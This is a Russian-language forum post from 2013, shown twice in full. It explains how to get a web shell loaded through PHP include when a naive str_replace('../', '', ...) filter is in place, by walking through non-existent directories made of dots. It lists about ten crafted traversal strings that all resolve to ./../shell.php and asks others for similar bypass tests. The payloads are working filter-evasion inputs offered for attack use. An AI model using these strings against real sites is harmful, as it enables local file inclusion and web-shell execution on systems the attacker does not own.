XAMEHA
01.08.2013, 08:25
Предположим, структура такова:
PHP:
./scriptdir/include.php
./shell.php
Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:
PHP:
./..../../..//shell.php
./..../..//../shell.php
./....//../../shell.php
./.../../.././shell.php
./.../.././../shell.php
./..././../../shell.php
./../..../..//shell.php
./../....//../shell.php
./../.../.././shell.php
./../..././../shell.php
etc
Это все эквивалентно этому:
PHP:
./../shell.php
Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет.
PHP:
./scriptdir/include.php
./shell.php
Есть переменная, в которой лежит некий относительный путь к шеллу. В итоге мы можем подключать шелл, как просто через include, как и протащив эту-же переменную через str_replace('../', '', ...), а потом уже через include при каких-ни будь проверках используя выход из несуществующего каталога состоящего из точек:
PHP:
./..../../..//shell.php
./..../..//../shell.php
./....//../../shell.php
./.../../.././shell.php
./.../.././../shell.php
./..././../../shell.php
./../..../..//shell.php
./../....//../shell.php
./../.../.././shell.php
./../..././../shell.php
etc
Это все эквивалентно этому:
PHP:
./../shell.php
Не видел нигде этого способа, если где-то он есть, покажите... Так-же, где-то видел тему с тестами выходов из несуществующих каталогов и различными слешами, не могу сейчас её найти, если кто знает где она - сбросе сюда, когда такие темы нужны - их нет.